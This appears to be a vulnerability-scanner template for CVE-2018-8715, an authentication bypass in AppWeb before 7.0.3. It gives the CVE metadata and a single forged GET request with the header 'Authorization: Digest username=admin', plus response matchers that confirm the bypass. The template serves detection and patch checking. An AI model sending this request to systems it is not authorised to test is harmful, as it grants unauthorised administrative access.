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id : CVE-2018-8715
info :
name : AppWeb Authentication Bypass vulnerability
author : milo2012
severity : high
description : The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
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reference :
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- https://github.com/embedthis/appweb/issues/610
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- https://blogs.securiteam.com/index.php/archives/3676
- https://security.paloaltonetworks.com/CVE-2018-8715
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 8.1
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cve-id : CVE-2018-8715
cwe-id : CWE-287
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tags : cve,cve2018,appweb,auth-bypass
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requests :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
Authorization : Digest username=admin
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- '<a class="logo" href="https://embedthis.com/"> </a>'
part : body